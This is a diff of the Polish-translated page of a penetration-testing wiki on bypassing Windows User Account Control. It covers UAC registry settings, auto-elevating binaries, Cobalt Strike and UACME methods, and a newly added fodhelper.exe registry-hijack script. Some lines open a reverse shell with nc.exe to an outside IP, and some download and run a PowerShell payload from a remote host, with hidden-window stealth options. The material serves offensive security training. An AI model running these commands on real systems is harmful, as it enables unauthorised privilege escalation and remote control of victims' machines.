EnableSecureUIAPaths | Włączone | -| [Kontrola Konta Użytkownika: Uruchom wszystkich administratorów w Trybie Zatwierdzania Administratora](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Włączone | -| [Kontrola Konta Użytkownika: Przełącz na bezpieczny pulpit podczas proszenia o podwyższenie](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Włączone | -| [Kontrola Konta Użytkownika: Wirtualizuj błędy zapisu plików i rejestru do lokalizacji per-user](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Włączone | +| [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Disabled | +| [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Disabled | +| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Prompt for consent for non-Windows binaries | +| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Prompt for credentials on the secure desktop | +| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Enabled (default for home) Disabled (default for enterprise) | +| [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Disabled | +| [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Enabled | +| [User Account Control: Run all administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Enabled | +| [User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Enabled | +| [User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Enabled | -### Teoria Ominięcia UAC +### UAC Bypass Theory -Niektóre programy są **automatycznie podwyższane**, jeśli **użytkownik należy** do **grupy administratorów**. Te binaria mają w swoich _**Manifeście**_ opcję _**autoElevate**_ z wartością _**True**_. Binarne musi być również **podpisane przez Microsoft**. +Niektóre programy są **autoelevated automatically**, jeśli **użytkownik należy** do **grupy administratorów**. Te binaria mają w swoich _**Manifests**_ opcję _**autoElevate**_ ustawioną na _**True**_. Binarium musi być też **podpisane przez Microsoft**. -Wiele procesów auto-elevate udostępnia **funkcjonalność za pośrednictwem obiektów COM lub serwerów RPC**, które mogą być wywoływane z procesów działających z medium integralności (uprawnienia na poziomie zwykłego użytkownika). Należy zauważyć, że COM (Model Obiektów Komponentowych) i RPC (Zdalne Wywołanie Procedury) to metody, które programy Windows używają do komunikacji i wykonywania funkcji w różnych procesach. Na przykład, **`IFileOperation COM object`** jest zaprojektowany do obsługi operacji plikowych (kopiowanie, usuwanie, przenoszenie) i może automatycznie podwyższać uprawnienia bez komunikatu. +Wiele procesów auto-elevate udostępnia **funkcjonalność przez obiekty COM lub serwery RPC**, które można wywołać z procesów działających z medium integrity (z uprawnieniami zwykłego użytkownika). Zauważ, że COM (Component Object Model) i RPC (Remote Procedure Call) to metody, których programy Windows używają do komunikacji i wykonywania funkcji między różnymi procesami. Na przykład **`IFileOperation COM object`** jest zaprojektowany do obsługi operacji na plikach (kopiowanie, usuwanie, przenoszenie) i może automatycznie podnosić uprawnienia bez wyświetlania monitu. -Należy zauważyć, że mogą być przeprowadzane pewne kontrole, takie jak sprawdzanie, czy proces został uruchomiony z **katalogu System32**, co można obejść, na przykład **wstrzykując do explorer.exe** lub innego wykonywalnego znajdującego się w System32. +Należy pamiętać, że mogą być wykonywane pewne kontrole, np. sprawdzanie, czy proces został uruchomiony z katalogu **System32**, co można obejść na przykład przez **wstrzyknięcie do explorer.exe** lub innego wykonywalnego pliku znajdującego się w System32. -Innym sposobem na ominięcie tych kontroli jest **modyfikacja PEB**. Każdy proces w Windows ma Blok Środowiska Procesu (PEB), który zawiera ważne dane o procesie, takie jak jego ścieżka wykonywalna. Modyfikując PEB, atakujący mogą sfałszować (oszukać) lokalizację swojego złośliwego procesu, sprawiając, że wydaje się, że działa z zaufanego katalogu (takiego jak system32). Te sfałszowane informacje oszukują obiekt COM, aby automatycznie podwyższyć uprawnienia bez pytania użytkownika. +Innym sposobem obejścia tych kontroli jest modyfikacja PEB. Każdy proces w Windows ma Process Environment Block (PEB), który zawiera ważne dane o procesie, takie jak ścieżka do wykonywalnego pliku. Poprzez modyfikację PEB, atakujący mogą sfałszować (spoofować) lokalizację swojego złośliwego procesu, sprawiając, że będzie wyglądał, jakby działał z zaufanego katalogu (np. system32). Te sfałszowane informacje oszukują obiekt COM, aby auto-elevował uprawnienia bez wyświetlania monitu. -Następnie, aby **ominąć** **UAC** (podwyższyć z **poziomu** integralności **medium** do **wysokiego**), niektórzy atakujący używają tego rodzaju binariów do **wykonywania dowolnego kodu**, ponieważ będzie on wykonywany z **procesu o wysokim poziomie integralności**. +Następnie, aby **obejść** **UAC** (podnieść z poziomu **medium** integrity do **high**), niektórzy atakujący używają tego typu binariów do **wykonywania dowolnego kodu**, ponieważ zostanie on uruchomiony z procesu o **wysokim poziomie integrity**. -Możesz **sprawdzić** _**Manifest**_ binarnego za pomocą narzędzia _**sigcheck.exe**_ z Sysinternals. (`sigcheck.exe -m `) A możesz **zobaczyć** **poziom integralności** procesów za pomocą _Process Explorer_ lub _Process Monitor_ (z Sysinternals). +Możesz **sprawdzić** _**Manifest**_ binarium używając narzędzia _**sigcheck.exe**_ z Sysinternals. (`sigcheck.exe -m `) I możesz **zobaczyć** **integrity level** procesów używając _Process Explorer_ lub _Process Monitor_ (z Sysinternals). -### Sprawdź UAC +### Check UAC Aby potwierdzić, czy UAC jest włączone, wykonaj: ``` @@ -52,67 +53,67 @@ REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\ HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System EnableLUA REG_DWORD 0x1 ``` -Jeśli to jest **`1`**, to UAC jest **aktywowany**, jeśli to jest **`0`** lub **nie istnieje**, to UAC jest **nieaktywny**. +Jeśli to **`1`**, to UAC jest **włączone**, jeśli to **`0`** lub nie istnieje, to UAC jest **wyłączone**. -Następnie sprawdź **jaki poziom** jest skonfigurowany: +Następnie sprawdź, **jaki poziom** jest skonfigurowany: ``` REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System ConsentPromptBehaviorAdmin REG_DWORD 0x5 ``` -- Jeśli **`0`**, to UAC nie wyświetli monitów (jak **wyłączone**) -- Jeśli **`1`**, administrator jest **proszony o nazwę użytkownika i hasło** do wykonania binarnego z wysokimi uprawnieniami (na Secure Desktop) -- Jeśli **`2`** (**Zawsze powiadamiaj mnie**) UAC zawsze poprosi o potwierdzenie administratora, gdy spróbuje wykonać coś z wysokimi uprawnieniami (na Secure Desktop) -- Jeśli **`3`**, jak `1`, ale niekoniecznie na Secure Desktop -- Jeśli **`4`**, jak `2`, ale niekoniecznie na Secure Desktop -- Jeśli **`5`**(**domyślnie**), poprosi administratora o potwierdzenie uruchomienia binarnych nie-Windows z wysokimi uprawnieniami +- If **`0`** then, UAC won't prompt (like **disabled**) +- If **`1`** the administrator is **asked for username and password** to execute the binary with high rights (on Secure Desktop) +- If **`2`** (**Always notify me**) UAC will always ask for confirmation to the administrator when he tries to execute something with high privileges (on Secure Desktop) +- If **`3`** like `1` but not necessary on Secure Desktop +- If **`4`** like `2` but not necessary on Secure Desktop +- if **`5`**(**default**) it will ask the administrator to confirm to run non Windows binaries with high privileges -Następnie musisz spojrzeć na wartość **`LocalAccountTokenFilterPolicy`**\ -Jeśli wartość to **`0`**, to tylko użytkownik **RID 500** (**wbudowany Administrator**) może wykonywać **zadania administracyjne bez UAC**, a jeśli to `1`, **wszystkie konta w grupie "Administratorzy"** mogą to robić. +Then, you have to take a look at the value of **`LocalAccountTokenFilterPolicy`**\ +If the value is **`0`**, then, only the **RID 500** user (**built-in Administrator**) is able to perform **admin tasks without UAC**, and if its `1`, **all accounts inside "Administrators"** group can do them. -I na koniec spójrz na wartość klucza **`FilterAdministratorToken`**\ -Jeśli **`0`**(domyślnie), **wbudowane konto Administratora może** wykonywać zadania zdalnej administracji, a jeśli **`1`**, wbudowane konto Administratora **nie może** wykonywać zadań zdalnej administracji, chyba że `LocalAccountTokenFilterPolicy` jest ustawione na `1`. +And, finally take a look at the value of the key **`FilterAdministratorToken`**\ +If **`0`**(default), the **built-in Administrator account can** do remote administration tasks and if **`1`** the built-in account Administrator **cannot** do remote administration tasks, unless `LocalAccountTokenFilterPolicy` is set to `1`. -#### Podsumowanie +#### Summary -- Jeśli `EnableLUA=0` lub **nie istnieje**, **brak UAC dla nikogo** -- Jeśli `EnableLua=1` i **`LocalAccountTokenFilterPolicy=1`, brak UAC dla nikogo** -- Jeśli `EnableLua=1` i **`LocalAccountTokenFilterPolicy=0` i `FilterAdministratorToken=0`, brak UAC dla RID 500 (Wbudowany Administrator)** -- Jeśli `EnableLua=1` i **`LocalAccountTokenFilterPolicy=0` i `FilterAdministratorToken=1`, UAC dla wszystkich** +- If `EnableLUA=0` or **doesn't exist**, **no UAC for anyone** +- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=1` , No UAC for anyone** +- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=0`, No UAC for RID 500 (Built-in Administrator)** +- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=1`, UAC for everyone** -Wszystkie te informacje można zebrać za pomocą modułu **metasploit**: `post/windows/gather/win_privs` +All this information can be gathered using the **metasploit** module: `post/windows/gather/win_privs` -Możesz również sprawdzić grupy swojego użytkownika i uzyskać poziom integralności: +You can also check the groups of your user and get the integrity level: ``` net user %username% whoami /groups | findstr Level ``` -## UAC bypass +## Ominięcie UAC > [!TIP] -> Zauważ, że jeśli masz dostęp graficzny do ofiary, obejście UAC jest proste, ponieważ możesz po prostu kliknąć "Tak", gdy pojawi się monit UAC. +> Należy pamiętać, że jeśli masz dostęp graficzny do ofiary, ominięcie UAC jest proste — możesz po prostu kliknąć "Yes", gdy pojawi się monit UAC -Obejście UAC jest potrzebne w następującej sytuacji: **UAC jest aktywowane, twój proces działa w kontekście średniej integralności, a twój użytkownik należy do grupy administratorów**. +Ominięcie UAC jest potrzebne w następującej sytuacji: **UAC jest włączony, Twój proces działa w kontekście o średnim poziomie integralności, a Twój użytkownik należy do grupy administratorów**. -Ważne jest, aby wspomnieć, że **znacznie trudniej jest obejść UAC, jeśli jest na najwyższym poziomie bezpieczeństwa (Zawsze) niż jeśli jest na którymkolwiek z innych poziomów (Domyślny).** +Ważne jest, aby wspomnieć, że **zdecydowanie trudniej jest ominąć UAC, gdy jest ustawiony na najwyższy poziom zabezpieczeń (Always), niż gdy jest w którymkolwiek z pozostałych poziomów (Default).** -### UAC disabled +### UAC wyłączony -Jeśli UAC jest już wyłączone (`ConsentPromptBehaviorAdmin` to **`0`**), możesz **wykonać odwrotną powłokę z uprawnieniami administratora** (wysoki poziom integralności) używając czegoś takiego: +Jeśli UAC jest już wyłączony (`ConsentPromptBehaviorAdmin` ma wartość **`0`**) możesz **uruchomić reverse shell z uprawnieniami administratora** (wysoki poziom integralności) używając czegoś takiego: ```bash #Put your reverse shell instead of "calc.exe" Start-Process powershell -Verb runAs "calc.exe" Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444" ``` -#### UAC bypass z duplikacją tokenów +#### UAC bypass with token duplication - [https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/](https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/) - [https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html](https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html) -### **Bardzo** podstawowy "bypass" UAC (pełny dostęp do systemu plików) +### **Bardzo** podstawowy UAC "bypass" (pełny dostęp do systemu plików) -Jeśli masz powłokę z użytkownikiem, który jest w grupie Administratorzy, możesz **zamontować C$** udostępnione przez SMB (system plików) lokalnie na nowym dysku i będziesz miał **dostęp do wszystkiego w systemie plików** (nawet do folderu domowego Administratora). +Jeśli masz shell z użytkownikiem należącym do grupy Administrators, możesz **zamontować udział C$** przez SMB (system plików) lokalnie jako nowy dysk i będziesz mieć **dostęp do całego systemu plików** (nawet do folderu domowego Administratora). > [!WARNING] > **Wygląda na to, że ten trik już nie działa** @@ -123,9 +124,9 @@ cd C$ #Or you could just access it: dir \\127.0.0.1\c$\Users\Administrator\Desktop ``` -### UAC bypass z Cobalt Strike +### UAC bypass with cobalt strike -Techniki Cobalt Strike będą działać tylko wtedy, gdy UAC nie jest ustawiony na maksymalny poziom bezpieczeństwa. +Techniki Cobalt Strike będą działać tylko wtedy, gdy UAC nie jest ustawiony na maksymalny poziom zabezpieczeń. ```bash # UAC bypass via token duplication elevate uac-token-duplication [listener_name] @@ -137,18 +138,18 @@ runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-obj # Bypass UAC with CMSTPLUA COM interface runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))" ``` -**Empire** i **Metasploit** mają również kilka modułów do **obejścia** **UAC**. +**Empire** i **Metasploit** mają również kilka modułów umożliwiających **bypass** **UAC**. ### KRBUACBypass -Dokumentacja i narzędzie w [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass) +Dokumentacja i narzędzie: [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass) -### Eksploity obejścia UAC +### UAC bypass exploits -[**UACME** ](https://github.com/hfiref0x/UACME), który jest **kompilacją** kilku eksploity do obejścia UAC. Zauważ, że będziesz musiał **skompilować UACME używając visual studio lub msbuild**. Kompilacja stworzy kilka plików wykonywalnych (jak `Source\Akagi\outout\x64\Debug\Akagi.exe`), będziesz musiał wiedzieć **który potrzebujesz.**\ -Powinieneś **być ostrożny**, ponieważ niektóre obejścia mogą **wywołać inne programy**, które **powiadomią** **użytkownika**, że coś się dzieje. +[**UACME** ](https://github.com/hfiref0x/UACME) który jest **kompilacją** kilku UAC bypass exploits. Zauważ, że będziesz musiał **skompilować UACME używając visual studio lub msbuild**. Proces kompilacji utworzy kilka plików wykonywalnych (np. `Source\Akagi\outout\x64\Debug\Akagi.exe`), będziesz musiał wiedzieć **który z nich potrzebujesz.**\ +Powinieneś **zachować ostrożność**, ponieważ niektóre bypasses wyświetlą **monity w innych programach**, które **powiadomią** **użytkownika**, że coś się dzieje. -UACME ma **wersję kompilacji, od której każda technika zaczęła działać**. Możesz wyszukiwać technikę wpływającą na twoje wersje: +UACME zawiera **numer kompilacji, od którego każda technika zaczęła działać**. Możesz wyszukać technikę wpływającą na Twoje wersje: ``` PS C:\> [environment]::OSVersion.Version @@ -156,41 +157,79 @@ Major Minor Build Revision ----- ----- ----- -------- 10 0 14393 0 ``` -Also, using [this](https://en.wikipedia.org/wiki/Windows_10_version_history) page you get the Windows release `1607` from the build versions. +Dodatkowo, korzystając z [this](https://en.wikipedia.org/wiki/Windows_10_version_history) strony, otrzymasz wydanie Windows `1607` na podstawie numerów kompilacji. -#### Więcej obejść UAC +### UAC Bypass – fodhelper.exe (Registry hijack) -**Wszystkie** techniki używane tutaj do obejścia AUC **wymagają** **pełnego interaktywnego powłoki** z ofiarą (zwykła powłoka nc.exe nie wystarczy). +Zaufany plik wykonywalny `fodhelper.exe` jest automatycznie podnoszony (auto-elevated) we współczesnych Windows. Po uruchomieniu odpyta poniższą ścieżkę rejestru dla użytkownika bez walidacji wartości `DelegateExecute`. Umieszczenie tam polecenia pozwala procesowi o Medium Integrity (użytkownik należy do grupy Administrators) uruchomić proces o High Integrity bez monitu UAC. -Możesz uzyskać dostęp za pomocą sesji **meterpreter**. Przenieś się do **procesu**, który ma wartość **Session** równą **1**: +Registry path queried by fodhelper: +``` +HKCU\Software\Classes\ms-settings\Shell\Open\command +``` +Kroki PowerShell (ustaw swój payload, następnie uruchom): +```powershell +# Optional: from a 32-bit shell on 64-bit Windows, spawn a 64-bit PowerShell for stability +C:\\Windows\\sysnative\\WindowsPowerShell\\v1.0\\powershell -nop -w hidden -c "$PSVersionTable.PSEdition" + +# 1) Create the vulnerable key and values +New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force | Out-Null +New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force | Out-Null + +# 2) Set default command to your payload (example: reverse shell or cmd) +# Replace with your base64-encoded PowerShell (or any command) +Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -e " -Force + +# 3) Trigger auto-elevation +Start-Process -FilePath "C:\\Windows\\System32\\fodhelper.exe" + +# 4) (Recommended) Cleanup +Remove-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open" -Recurse -Force +``` +Notatki: +- Działa, gdy bieżący użytkownik jest członkiem Administrators i poziom UAC jest domyślny/łagodny (nie Always Notify z dodatkowymi ograniczeniami). +- Użyj ścieżki `sysnative`, aby uruchomić 64-bitowy PowerShell z 32-bitowego procesu na 64-bitowym Windows. +- Payload może być dowolnym poleceniem (PowerShell, cmd lub ścieżka do EXE). Unikaj wywoływania UI wymagających potwierdzenia, aby zachować stealth. + +#### More UAC bypass + +**Wszystkie** techniki użyte tutaj do obejścia AUC **wymagają** **pełnej interaktywnej powłoki** z ofiarą (zwykła powłoka nc.exe nie wystarczy). + +Możesz to uzyskać, używając sesji **meterpreter**. Zmigruj do **process**, który ma wartość **Session** równą **1**: ![](<../../images/image (863).png>) (_explorer.exe_ powinien działać) -### Obejście UAC z GUI +### UAC Bypass with GUI -Jeśli masz dostęp do **GUI, możesz po prostu zaakceptować monit UAC**, gdy go otrzymasz, naprawdę nie potrzebujesz go omijać. Tak więc, uzyskanie dostępu do GUI pozwoli ci obejść UAC. +Jeśli masz dostęp do **GUI**, możesz po prostu zaakceptować monit UAC, gdy się pojawi — w zasadzie nie potrzebujesz bypassu. Uzyskanie dostępu do GUI pozwoli ci obejść UAC. -Ponadto, jeśli uzyskasz sesję GUI, z której ktoś korzystał (potencjalnie przez RDP), istnieją **niektóre narzędzia, które będą działać jako administrator**, z których możesz **uruchomić** na przykład **cmd** bezpośrednio **jako administrator** bez ponownego wywoływania monitu UAC, jak [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Może to być nieco bardziej **ukryte**. +Co więcej, jeśli uzyskasz sesję GUI, z której ktoś korzystał (potencjalnie przez RDP), istnieją **narzędzia uruchamiane jako administrator**, z których możesz na przykład **uruchomić** **cmd** **jako admin** bez ponownego wyświetlania monitu UAC, np. [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). To może być trochę bardziej **stealthy**. -### Hałaśliwe obejście UAC przez brute-force +### Noisy brute-force UAC bypass -Jeśli nie zależy ci na hałasie, zawsze możesz **uruchomić coś takiego jak** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin), które **prosi o podniesienie uprawnień, aż użytkownik to zaakceptuje**. +Jeśli nie zależy ci na dyskrecji, możesz zawsze **uruchomić coś w stylu** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin), co będzie **prosić o podniesienie uprawnień aż użytkownik zaakceptuje**. -### Twoje własne obejście - Podstawowa metodologia obejścia UAC +### Your own bypass - Basic UAC bypass methodology -Jeśli spojrzysz na **UACME**, zauważysz, że **większość obejść UAC nadużywa podatności Dll Hijacking** (głównie pisząc złośliwy dll w _C:\Windows\System32_). [Przeczytaj to, aby dowiedzieć się, jak znaleźć podatność Dll Hijacking](../windows-local-privilege-escalation/dll-hijacking/index.html). +Jeśli spojrzysz na **UACME**, zauważysz, że **większość bypassów UAC wykorzystuje podatność typu Dll Hijacking** (głównie zapisując złośliwą dll w _C:\Windows\System32_). [Przeczytaj to, aby nauczyć się, jak znaleźć podatność Dll Hijacking](../windows-local-privilege-escalation/dll-hijacking/index.html). -1. Znajdź binarny, który będzie **autoelevate** (sprawdź, czy po jego uruchomieniu działa na wysokim poziomie integralności). -2. Za pomocą procmon znajdź zdarzenia "**NAME NOT FOUND**", które mogą być podatne na **DLL Hijacking**. -3. Prawdopodobnie będziesz musiał **napisać** DLL wewnątrz niektórych **chronionych ścieżek** (takich jak C:\Windows\System32), gdzie nie masz uprawnień do zapisu. Możesz to obejść, używając: - 1. **wusa.exe**: Windows 7, 8 i 8.1. Umożliwia to wyodrębnienie zawartości pliku CAB wewnątrz chronionych ścieżek (ponieważ to narzędzie jest uruchamiane z wysokiego poziomu integralności). - 2. **IFileOperation**: Windows 10. -4. Przygotuj **skrypt** do skopiowania swojego DLL do chronionej ścieżki i uruchomienia podatnego i autoelevated binarnego. +1. Find a binary that will **autoelevate** (check that when it is executed it runs in a high integrity level). +2. With procmon find "**NAME NOT FOUND**" events that can be vulnerable to **DLL Hijacking**. +3. You probably will need to **write** the DLL inside some **protected paths** (like C:\Windows\System32) were you don't have writing permissions. You can bypass this using: +1. **wusa.exe**: Windows 7,8 and 8.1. It allows to extract the content of a CAB file inside protected paths (because this tool is executed from a high integrity level). +2. **IFileOperation**: Windows 10. +4. Prepare a **script** to copy your DLL inside the protected path and execute the vulnerable and autoelevated binary. -### Inna technika obejścia UAC +### Another UAC bypass technique -Polega na obserwowaniu, czy **autoElevated binary** próbuje **odczytać** z **rejestru** **nazwę/ścieżkę** **binarnego** lub **komendy** do **wykonania** (to jest bardziej interesujące, jeśli binarny szuka tych informacji wewnątrz **HKCU**). +Polega na obserwowaniu, czy **autoElevated binary** próbuje **odczytać** z **rejestru** nazwę/ścieżkę **binarki** lub **polecenia** do **uruchomienia** (to jest bardziej interesujące, jeśli binarka szuka tych informacji w **HKCU**). + +## References +- [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf) – fodhelper UAC bypass steps](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html) +- [LOLBAS: Fodhelper.exe](https://lolbas-project.github.io/lolbas/Binaries/Fodhelper/) +- [Microsoft Docs – How User Account Control works](https://learn.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works) +- [UACME – UAC bypass techniques collection](https://github.com/hfiref0x/UACME) {{#include ../../banners/hacktricks-training.md}}